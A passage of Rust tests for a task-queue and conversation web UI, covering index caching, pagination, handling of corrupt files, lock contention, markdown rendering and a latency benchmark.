25413        assert_eq!(
25414            ui.monitor.talk_status_index.lock().unwrap().parses,
25415            ids.len()
25416        );
25417        assert!(open_talk_ids(&ui, &ids).is_empty());
25418        assert_eq!(
25419            ui.monitor.talk_status_index.lock().unwrap().parses,
25420            ids.len()
25421        );
25422        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25423        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25424        assert_eq!(
25425            open_talk_ids(&ui, &ids),
25426            std::collections::HashSet::from([ids[0].clone()])
25427        );
25428        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25429        assert_eq!(parsed, ids.len() + 2);
25430        open_talk_ids(&ui, &ids);
25431        assert_eq!(
25432            ui.monitor.talk_status_index.lock().unwrap().parses,
25433            parsed,
25434            "unreadable rows are cached too"
25435        );
25436        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25437        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25438        assert!(
25439            !ui.monitor
25440                .talk_status_index
25441                .lock()
25442                .unwrap()
25443                .records
25444                .contains_key(&ids[0])
25445        );
25446        assert!(
25447            ui.monitor.talk_index.lock().unwrap().is_empty(),
25448            "classification never caches bodies"
25449        );
25450    }
25451
25452    #[tokio::test]
25453    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25454        let home = tempfile::tempdir().unwrap();
25455        let ui = delta_test_ui(home.path());
25456        let mut task = Task::new(
25457            "task".into(),
25458            "body".into(),
25459            PathBuf::from("/repo"),
25460            Source::Human,
25461        );
25462        ui.queue.put(&mut task).unwrap();
25463        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25464        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25465        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25466        let expected = parsed + usize::from(!cfg!(unix));
25467        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25468        task.status = crate::queue::TaskStatus::Held;
25469        ui.queue.put(&mut task).unwrap();
25470        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25471        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25472        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25473        ui.queue.put(&mut task).unwrap();
25474        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25475        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25476        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25477    }
25478
25479    #[tokio::test]
25480    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25481        let home = tempfile::tempdir().unwrap();
25482        let ui = delta_test_ui(home.path());
25483        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25484        let before = health(State(ui.clone())).await.unwrap().0;
25485        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25486        let after = health(State(ui)).await.unwrap().0;
25487        assert_ne!(before.notifications_rev, after.notifications_rev);
25488        assert_eq!(after.notifications_unread, 1);
25489    }
25490
25491    #[tokio::test]
25492    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25493        let home = tempfile::tempdir().unwrap();
25494        let ui = delta_test_ui(home.path());
25495        let queue = &ui.queue;
25496        let talks = &ui.talks;
25497        for i in 0..1000 {
25498            let id = format!("20261019-{i:06}-page");
25499            let mut task = Task::new(
25500                "task".into(),
25501                "instruction".repeat(100),
25502                PathBuf::from("/repo/magi"),
25503                Source::Human,
25504            );
25505            task.id = id.clone();
25506            if i == 0 {
25507                task.status = crate::queue::TaskStatus::Held;
25508            } else if i == 999 {
25509                task.status = crate::queue::TaskStatus::Blocked;
25510                task.blocked_by = vec!["20261019-000000-page".into()];
25511            }
25512            queue.put(&mut task).unwrap();
25513            seed_talk_at(talks, &id, "closed");
25514        }
25515        let page = serde_json::to_value(
25516            queue_page(State(ui.clone()), Query(PageQuery::default()))
25517                .await
25518                .unwrap()
25519                .0,
25520        )
25521        .unwrap();
25522        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25523        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25524        assert!(
25525            !page["rows"][0]["stuck_roots"]
25526                .as_array()
25527                .unwrap()
25528                .is_empty()
25529        );
25530        let cursor = page["next"].as_str().unwrap();
25531        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25532            .as_str()
25533            .unwrap();
25534        // Deleting an already enumerated file cannot shift or repeat a page.
25535        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25536        let next = serde_json::to_value(
25537            queue_page(
25538                State(ui.clone()),
25539                Query(PageQuery {
25540                    before: Some(cursor.into()),
25541                }),
25542            )
25543            .await
25544            .unwrap()
25545            .0,
25546        )
25547        .unwrap();
25548        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25549        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25550        let chats = serde_json::to_value(
25551            talks_page(
25552                State(ui.clone()),
25553                Query(PageQuery::default()),
25554                header::HeaderMap::new(),
25555            )
25556            .await
25557            .unwrap()
25558            .0,
25559        )
25560        .unwrap();
25561        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25562        assert!(chats["rows"][0].get("pending").is_none());
25563        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25564        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25565        assert_eq!(counts["held"], 1);
25566        assert_eq!(counts["blocked"], 1);
25567        assert_eq!(counts["queued"], 997);
25568    }
25569
25570    #[test]
25571    fn queue_index_observes_external_replacement_deletion_and_corruption() {
25572        let dir = tempfile::tempdir().unwrap();
25573        let ui = delta_test_ui(dir.path());
25574        let mut task = Task::new(
25575            "task".into(),
25576            "body".into(),
25577            PathBuf::from("/repo"),
25578            Source::Human,
25579        );
25580        task.runs = vec!["run-a".into()];
25581        ui.queue.put(&mut task).unwrap();
25582        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25583        task.runs = vec!["run-b".into()];
25584        let path = ui.queue.path_of(&task.id);
25585        let modified = path.metadata().unwrap().modified().unwrap();
25586        let replacement = path.with_extension("replacement");
25587        let bytes = serde_json::to_vec_pretty(&task).unwrap();
25588        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25589        std::fs::write(&replacement, &bytes).unwrap();
25590        std::fs::File::options()
25591            .write(true)
25592            .open(&replacement)
25593            .unwrap()
25594            .set_times(std::fs::FileTimes::new().set_modified(modified))
25595            .unwrap();
25596        std::fs::rename(&replacement, &path).unwrap();
25597        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25598        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25599        std::fs::write(&path, "broken").unwrap();
25600        assert!(ui.find_task_for_run("run-b").is_err());
25601        std::fs::write(&path, bytes).unwrap();
25602        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25603        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25604        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25605    }
25606
25607    #[tokio::test]
25608    async fn conversation_core_is_independent_of_unreadable_related_history() {
25609        let home = tempfile::tempdir().unwrap();
25610        let ui = delta_test_ui(home.path());
25611        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25612        std::fs::create_dir_all(ui.queue.root()).unwrap();
25613        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25614        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25615            .await
25616            .unwrap();
25617        assert_eq!(core.talk.id, id);
25618        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25619    }
25620
25621    #[test]
25622    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25623        let home = tempfile::tempdir().unwrap();
25624        let ui = delta_test_ui(home.path());
25625        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25626        let directory = home.path().join("workers/jobs/abcdef");
25627        std::fs::create_dir_all(&directory).unwrap();
25628        let job = crate::worker::Job {
25629            id: "abcdef".into(),
25630            sequence: 1,
25631            kind: "chat".into(),
25632            key: id.clone(),
25633            payload: serde_json::json!({ "talk": id }),
25634            generation: "test".into(),
25635            version: None,
25636            status: crate::worker::Status::Running,
25637            result: None,
25638            pid: None,
25639            created_at: 0,
25640            finished_at: None,
25641        };
25642        std::fs::write(
25643            directory.join("job.json"),
25644            serde_json::to_vec(&job).unwrap(),
25645        )
25646        .unwrap();
25647        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25648        let store =
25649            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25650        let runtime = tokio::runtime::Builder::new_current_thread()
25651            .enable_all()
25652            .max_blocking_threads(1)
25653            .build()
25654            .unwrap();
25655        runtime.block_on(async {
25656            let (release, held) = std::sync::mpsc::channel();
25657            let (started, ready) = tokio::sync::oneshot::channel();
25658            let occupied = tokio::task::spawn_blocking(move || {
25659                started.send(()).unwrap();
25660                held.recv().unwrap();
25661            });
25662            ready.await.unwrap();
25663            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25664            let bulk = ui
25665                .monitor
25666                .bulk_slots
25667                .clone()
25668                .acquire_many_owned(2)
25669                .await
25670                .unwrap();
25671            let result = tokio::time::timeout(
25672                Duration::from_secs(2),
25673                talk_core(State(ui.clone()), Path(id.clone())),
25674            )
25675            .await;
25676            // Release all blockers before assertions, including on a regression.
25677            drop(store);
25678            drop(bulk);
25679            release.send(()).unwrap();
25680            occupied.await.unwrap();
25681            let _ = secondary.await.unwrap().unwrap();
25682            let Json(core) = result
25683                .expect("transcript must bypass secondary work and the worker store lock")
25684                .unwrap();
25685            assert!(
25686                core.thinking,
25687                "read-only observation retains live worker state"
25688            );
25689            assert_eq!(core.talk.id, id);
25690            let admission_ui = ui.clone();
25691            let (release, held) = std::sync::mpsc::channel();
25692            let (started, ready) = tokio::sync::oneshot::channel();
25693            let admission = std::thread::spawn(move || {
25694                let _lock = admission_ui.talk_turns.lock().unwrap();
25695                started.send(()).unwrap();
25696                held.recv().unwrap();
25697            });
25698            ready.await.unwrap();
25699            let result = tokio::time::timeout(
25700                Duration::from_secs(2),
25701                talk_core(State(ui.clone()), Path(id.clone())),
25702            )
25703            .await;
25704            release.send(()).unwrap();
25705            admission.join().unwrap();
25706            assert!(
25707                result
25708                    .expect("display must not wait behind local admission")
25709                    .unwrap()
25710                    .0
25711                    .thinking
25712            );
25713            assert!(ui.is_thinking(&id));
25714            assert!(ui.is_thinking_observed(&id));
25715            drop(live);
25716            assert!(
25717                !ui.is_thinking_observed(&id),
25718                "a finished lease no longer appears live"
25719            );
25720            assert!(!ui.is_thinking(&id));
25721            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25722            assert!(
25723                ui.is_thinking_observed(&id),
25724                "local admission remains visible"
25725            );
25726        });
25727    }
25728
25729    #[tokio::test]
25730    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25731        let home = tempfile::tempdir().unwrap();
25732        let ui = delta_test_ui(home.path());
25733        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25734        let mut task = Task::new(
25735            "Referenced task".into(),
25736            "Unrelated instruction history".repeat(1024),
25737            home.path().into(),
25738            Source::Human,
25739        );
25740        task.id = "20261019-000000-abcd".into();
25741        ui.queue.put(&mut task).unwrap();
25742        let mut conversation = ui.talks.get(&id).unwrap();
25743        conversation.turns.push(talk::Turn {
25744            sender: Some(talk::Sender::Persona),
25745            who: talk::Who::Agent,
25746            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25747            at: conversation.created_at,
25748            attachments: Vec::new(),
25749            usage: None,
25750            breaks: None,
25751            messages: Vec::new(),
25752            posted_by: None,
25753        });
25754        ui.talks.put(&mut conversation).unwrap();
25755
25756        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25757        let markdown = serde_json::to_value(&core.turn_bodies_md)
25758            .unwrap()
25759            .to_string();
25760        assert!(markdown.contains("\"strong\""));
25761        assert!(markdown.contains("\"table\""));
25762        assert!(markdown.contains("\"bullet_list\""));
25763        assert!(markdown.contains("\"code_block\""));
25764        assert!(!markdown.contains("\"internal_link\""));
25765        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
25766        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
25767        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25768
25769        // Deferred decoration still resolves the same validated task, without
25770        // touching opaque code blocks or changing the original transcript.
25771        let references = ui.references.for_talk(home.path(), &conversation);
25772        let mut decorated = core.turn_bodies_md[0].clone();
25773        references.markdown(&mut decorated);
25774        let decorated = serde_json::to_value(decorated).unwrap().to_string();
25775        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
25776        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
25777        assert_eq!(
25778            ui.talks.get(&conversation.id).unwrap().turns[0].body,
25779            conversation.turns[0].body
25780        );
25781    }
25782
25783    #[tokio::test]
25784    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
25785        let home = tempfile::tempdir().unwrap();
25786        let ui = delta_test_ui(home.path());
25787        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25788        let mut run = RunState::new(
25789            PathBuf::from("/repo"),
25790            "main".into(),
25791            "01234567".into(),
25792            "Useful run".into(),
25793            Config::default(),
25794        );
25795        run.save_under(home.path()).unwrap();
25796        let mut task = Task::new(
25797            "Related".into(),
25798            "body".into(),
25799            PathBuf::from("/repo"),
25800            Source::Agent {
25801                run: talk_id.clone(),
25802                node: "chat".into(),
25803            },
25804        );
25805        task.runs = vec![run.id.clone()];
25806        ui.queue.put(&mut task).unwrap();
25807        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
25808        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
25809        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
25810        assert!(
25811            run_detail(State(ui.clone()), Path(run.id.clone()))
25812                .await
25813                .is_ok()
25814        );
25815        assert!(
25816            talk_sections(State(ui.clone()), Path(talk_id.clone()))
25817                .await
25818                .is_ok()
25819        );
25820        // Previously indexed corruption must not masquerade as no relationship.
25821        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25822        assert!(ui.find_task_for_run(&run.id).is_err());
25823        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
25824        ui.queue.put(&mut task).unwrap();
25825        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
25826    }
25827
25828    #[tokio::test]
25829    async fn conversation_sections_omit_large_task_instructions() {
25830        let home = tempfile::tempdir().unwrap();
25831        let ui = delta_test_ui(home.path());
25832        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25833        let mut task = Task::new(
25834            "filed task".into(),
25835            "large instruction ".repeat(65536),
25836            PathBuf::from("/repo"),
25837            Source::Agent {
25838                run: id.clone(),
25839                node: "chat".into(),
25840            },
25841        );
25842        ui.queue.put(&mut task).unwrap();
25843        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
25844        assert_eq!(sections["tasks"][0]["id"], task.id);
25845        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
25846        assert!(sections["tasks"][0].get("instruction").is_none());
25847        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
25848    }
25849
25850    #[test]
25851    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
25852        let home = tempfile::tempdir().unwrap();
25853        let talks = Talks::at(home.path().join("talks"));
25854        seed_talk_at(&talks, "20261019-000001-abcd", "open");
25855        seed_talk_at(&talks, "20261019-000002-abcd", "open");
25856        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
25857        assert!(resolve_talk(&talks, "../outside").is_err());
25858        assert!(resolve_talk(&talks, "abcd").is_err());
25859        assert_eq!(
25860            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
25861            "20261019-000001-abcd"
25862        );
25863    }
25864
25865    include!(concat!(
25866        env!("CARGO_MANIFEST_DIR"),
25867        "/tests/web_latency/baseline.rs"
25868    ));
25869
25870    include!(concat!(
25871        env!("CARGO_MANIFEST_DIR"),
25872        "/tests/web_latency/lists.rs"
25873    ));
25874
25875    #[tokio::test]
25876    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
25877    async fn web_history_latency_measurement() {
25878        use std::time::Instant;
25879        let home = tempfile::tempdir().unwrap();
25880        let ui = delta_test_ui(home.path());
25881        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25882        let mut template = ui.talks.get(&id).unwrap();
25883        template.turns = serde_json::from_value(serde_json::json!([{
25884            "who": "operator", "body": "Show the accumulated work and its current status.",
25885            "at": Timestamp::now().to_string(),
25886        }]))
25887        .unwrap();
25888        std::fs::write(
25889            ui.talks.path_of(&id),
25890            serde_json::to_vec(&template).unwrap(),
25891        )
25892        .unwrap();
25893        let count = std::env::var("MAGI_BENCH_RECORDS")
25894            .ok()
25895            .and_then(|s| s.parse::<usize>().ok())
25896            .unwrap_or(1000);
25897        for i in 0..count {
25898            template.id = format!("20261019-{i:06}-history");
25899            template.pending = "history ".repeat(2048);
25900            std::fs::write(
25901                ui.talks.path_of(&template.id),
25902                serde_json::to_vec(&template).unwrap(),
25903            )
25904            .unwrap();
25905            let mut task = Task::new(
25906                "old task".into(),
25907                "instruction ".repeat(2048),
25908                PathBuf::from("/repo"),
25909                Source::Human,
25910            );
25911            task.id = format!("20261019-{i:06}-task");
25912            ui.queue.put(&mut task).unwrap();
25913        }
25914        for baseline in [true, false] {
25915            for clients in [1, 4] {
25916                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25917                let mut samples = Vec::new();
25918                for _ in 0..12 {
25919                    let mut jobs = Vec::new();
25920                    for _ in 0..clients {
25921                        let ui = ui.clone();
25922                        let id = id.clone();
25923                        jobs.push(tokio::spawn(async move {
25924                            let start = Instant::now();
25925                            if baseline {
25926                                let response =
25927                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25928                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25929                                return (
25930                                    elapsed,
25931                                    elapsed,
25932                                    serde_json::to_vec(&response).unwrap().len(),
25933                                );
25934                            }
25935                            let core = talk_core(State(ui.clone()), Path(id.clone()));
25936                            let secondary = talk_sections(State(ui), Path(id));
25937                            let (first, total) = tokio::join!(
25938                                async {
25939                                    let value = core.await.unwrap().0;
25940                                    (
25941                                        start.elapsed().as_secs_f64() * 1000.0,
25942                                        serde_json::to_vec(&value).unwrap().len(),
25943                                    )
25944                                },
25945                                async {
25946                                    let value = secondary.await.unwrap().0;
25947                                    (
25948                                        start.elapsed().as_secs_f64() * 1000.0,
25949                                        serde_json::to_vec(&value).unwrap().len(),
25950                                    )
25951                                }
25952                            );
25953                            (first.0, first.0.max(total.0), first.1 + total.1)
25954                        }));
25955                    }
25956                    for job in jobs {
25957                        samples.push(job.await.unwrap());
25958                    }
25959                }
25960                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25961                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25962                first.sort_by(f64::total_cmp);
25963                total.sort_by(f64::total_cmp);
25964                let n = first.len();
25965                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25966                println!(
25967                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25968                    first[n / 2],
25969                    first[(n * 95 / 100).min(n - 1)],
25970                    total[n / 2],
25971                    total[(n * 95 / 100).min(n - 1)],
25972                    samples[0].2
25973                );
25974            }
25975        }
25976    }
25977
25978    #[test]
25979    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25980        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
25981        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25982        assert!(APP_JS.contains("function nextRunRequest(id)"));
25983        assert!(APP_JS.contains("function runShell(id, summary)"));
25984        assert!(APP_JS.contains("function nextTaskRequest(id)"));
25985        assert!(APP_JS.contains("function taskShell(id, summary)"));
25986        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25987    }
25988}